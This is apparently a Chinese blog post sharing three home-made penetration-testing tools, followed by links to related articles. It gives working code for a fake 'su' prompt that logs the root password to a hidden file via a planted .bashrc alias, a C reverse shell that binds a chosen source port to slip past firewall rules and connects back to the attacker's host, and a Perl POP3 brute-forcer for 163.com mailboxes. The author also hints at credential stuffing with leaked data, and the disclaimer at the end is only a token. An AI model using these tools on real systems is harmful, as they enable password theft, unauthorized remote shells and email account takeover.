0×00
渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小使用,求欣赏,求好评。

0×01
记录root密码小工具

root.py

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

#!/usr/bin/python

import os, sys, getpass, time

current_time = time.strftime("%Y-%m-%d %H:%M")

logfile="/dev/shm/.su.log"              //密码获取后记录在这里

#CentOS

#fail_str = "su: incorrect password"

#Ubuntu

#fail_str = "su: Authentication failure"

#For Linux Korea                    //centos,ubuntu,korea 切换root用户失败提示不一样

fail_str = "su: incorrect password"

try:

passwd = getpass.getpass(prompt='Password: ');

file=open(logfile,'a')

file.write("[%s]t%s"%(passwd, current_time))   //截取root密码

file.write('n')

file.close()

except:

pass

time.sleep(1)

print fail_str                               //打印切换root失败提示

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su='/usr/root.py'; 低权限用户su root 后
成功记录密码。密码记录路径请看脚本

0×02

设置源端口反弹shell
渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,
Ping了下百度
可以ping通,
那真相只有一个:服务器变态的限制了只能某些提供已某些端口为源端口去连接外面

比如:
只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。
谷歌程序无果,自己查了相关api后写了个。
client-port.c

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

void error(char *msg)

{

perror(msg);

exit(0);

}

int main(int argc, char *argv[])

{

int sockfd, portno, lportno,n;

struct sockaddr_in serv_addr;

struct sockaddr_in client_addr;

struct hostent *server;

char buffer[256];

if (argc < 3) {

fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]);

exit(0);

}                          //三个参数,目标主机,目标主机端口,本地源端口

portno = atoi(argv[2]);

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if (sockfd < 0)

error("ERROR opening socket");

bzero((char *) &client_addr, sizeof(client_addr));

lportno = atoi(argv[3]);

client_addr.sin_family = AF_INET;

client_addr.sin_addr.s_addr = INADDR_ANY;

client_addr.sin_port = htons(lportno);         //设置源端口

if (bind(sockfd, (struct sockaddr *) &client_addr,

sizeof(client_addr)) < 0)

error("ERROR on binding");

server = gethostbyname(argv[1]);

if (server == NULL) {

fprintf(stderr,"ERROR, no such host ");

exit(0);

}

bzero((char *) &serv_addr, sizeof(serv_addr));

serv_addr.sin_family = AF_INET;

bcopy((char *)server->h_addr,

(char *)&serv_addr.sin_addr.s_addr,

server->h_length);

serv_addr.sin_port = htons(portno);

if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0)   //连接

error("ERROR connecting");

dup2(fd, 0);

dup2(fd, 1);

dup2(fd, 2);

execl("/bin/sh","sh -i", NULL);                        //执行shell

close(fd);

}

用法:

1

gcc client-port.c -o port

1

chmod +x port

1

./port  你的IP 你的监听端口
本地的源端口

如 ./port  http://www.exehack.net  80  80
成功反弹shell 提权成功

0×03 邮箱爆破脚本
某个时候
需要爆破一批邮箱
Burp163.pl

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

#!/usr/bin/perl

use Net::POP3;

$email="pop.163.com";          //设置pop服务器地址 qq为pop.qq.com

$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");

print $pop->banner();

$pop->quit;

$i=0;

open(fp1,"user.txt");

@array1=<fp1>;

open(fp2,"pass.txt");

@array2=<fp2>;                     //从文件中获取邮箱用户名及密码

foreach $a(@array1) {

$u=substr($a,0,length($a)-1);

$u=$u."@163.com";

foreach $b(@array2) {

$p=substr($b,0,length($b)-1);

print "cracked with ".$u."-----".$p."n";

$i=$i+1;

$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");

$m=$pop->login($u,$p);              //尝试登录邮箱

if($m>0)

{

print $u."------------".$p."----"."success"."n";

$pop->quit;

}                                //成功登录

else

{

print $u."------------".$p."----"."failed"."n";

$pop->quit;                                     //登录失败

}

}

}

print $i;

用法:将要爆破的邮箱的pop服务器写入下面这一行
默认是163邮箱

1

$email="pop.163.com";

再将去除掉@后面部分的邮箱地址比如exehack@163.com 去除后exehack存进去
同目录user.txt中吗,再将字典存进去pass.txt
你可能会说:这个有点鸡肋吧
万一邮箱的密码很复杂

搞到了一个小站的数据,
用这个程序批量测试密码是否就是邮箱密码
呵呵,我啥都没说。

0×04
这三个程序仅供技术研究,如读者用于违法行为,本人概不负责。

网站渗透常用到的Python小脚本的更多相关文章

  1. 分享一个刷网页PV的python小脚本

    下面分享一个小脚本,用来刷网页PV. [root@huanqiu ~]# cat www.py #!/usr/bin/python# coding: UTF-8import webbrowser as ...

  2. 分享几个python小脚本

    by 梁凯 今天我想给大家分享几个python脚本,分别是: 1.公司访问外网认证脚本(最初有同事写过,我优化了一下). 2.统计周报系统所有同事的最近一篇周报. 3.统计测试技术分享里指定一个月所有 ...

  3. python 小脚本升级-- 钉钉群聊天机器人

    一则小脚本(工作中用) 在这篇文章中写的监控的脚本,发送监控的时候 是利用的邮箱,其实在实际,邮箱查收有着不方便性,于是乎升级, 我们工作中,经常用钉钉,那么如果要是能用到钉钉多好,这样我们的监控成功 ...

  4. python小脚本(18-11.10)-修改excle后批量生成,作用:导入数据时,系统做了不能导入重复数据时的限制时使用 -本来是小白,大神勿扰

    from testcase.test_mokuai.operation_excle import OperationExcleimport shutil class test_daoru(): #一个 ...

  5. 第一个python小脚本

    第一个python小实验 前言 作为一个工作1年的linux运维搬砖师来说,发现没点开发能力真的是不好混啊.于是下定决心学习python! 直接上刚写的语句(大神莫鄙视) 通过控制台输入一个账号密码, ...

  6. 短小实用 渗透用的Python小脚本

    渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小实用. 一.记录root密码小工具 root.py #!/usr/bin/py ...

  7. python 小脚本/自动重复访问网站(快速提高网页访问量)

    来到csdn也快两个月了,前前后后写了20篇博客,但才1800+的访问量,其中恐怕还有300多是我自己点的 有点桑心(┬_┬) 于是打算另辟蹊径,自己刷访问量代码如下,需要自取 import urll ...

  8. Python小脚本程序

    本文旨在搜集最简单最原子性的代码块,简单清晰容易阅读,然后由用户自己组合.Python代码排版请自行修改. 这里是索引目录: 1. 下载网站文件 2. 下载网站多个文件 1. 下载网站文件 impor ...

  9. 将二级目录下的文件合并成一个文件的Python小脚本

    这个小程序的目的是将二级目录下的文件全部合并成一个文件(其实几级目录都可以,只要做少许改动) #coding:utf8 import sys, os def process(path): new_fi ...

随机推荐

  1. 存储器的保护(二)——《x86汇编语言:从实模式到保护模式》读书笔记19

    接着上一篇博文说. 5.代码段执行时的保护 每个代码段都有自己的段界限.同栈段一个道理,有效界限和G位相关. G=0:有效界限 = 描述符中的段界限 G=1:有效界限 = 描述符中的段界限值 * 0x ...

  2. nginx自动部署脚本

    需要下载脚本中需要的jar包nginx.pcre和zlib,自己也上传了一个自己部署的包 https://download.csdn.net/download/qq_17842663/10822976 ...

  3. freemarker实现通用布局的模板拆分与复用

    原文:http://www.hawu.me/coding/733 一.基础页面布局 假设我们项目页面的通用布局如下图所示: 实现这样的布局的基本html代码如下:           XHTML   ...

  4. 如何优雅地使用 VSCode 来编辑 vue 文件?

    最近有个项目使用了 Vue.js ,本来一直使用的是 PHPStorm 来进行开发,可是遇到了很多问题. 后来,果断放弃收费的 PHPStorm ,改用 vscode (Visual Stdio Co ...

  5. [转]AngularJS 实现 Table的一些操作(示例大于实际)

    本文转自:http://www.cnblogs.com/lin-js/p/linJS.html <!DOCTYPE html> <html> <head> < ...

  6. Why Isn't curr_items Decreasing When Items Expire?

    Why Isn't curr_items Decreasing When Items Expire?

  7. 如何制作Win10系统U盘安装镜像

    准备的工具: 1.空间8G以上的U盘一个 2.系统镜像文件(ISO格式)下载:https://msdn.itellyou.cn/ 3.UltraISO 下载:https://cn.ultraiso.n ...

  8. Spring mvc 中 DispatcherServlet 的学习和理解

    上图表示当客户请求来到时,spring架构作出响应的流程,可以从图中看到看到请求分发的中心就是 DispatcherServlet 类,DispatcherServlet的任务是将请求发送给Sprin ...

  9. MyBatis 知识点梳理

    简单地梳理下MyBatis相关的知识点,主要想让自己重新捡起以前学的框架,如果能给广大程序猿朋友有所帮助那就更好了.有疏漏的地方也欢迎大家评论指出.闲言少叙,进入正题....... MyBatis知识 ...

  10. 2017年11月27日 C#MDI窗体创建&记事本打印&记事本查找、自动换行

    MDI窗体第一个父窗体 把属性里的IsMdiContainer设置为true就可以了 父窗体连接子窗体 //创建一个新的类,用来连接别的窗体,并且别的窗体为唯一窗体 List<Form> ...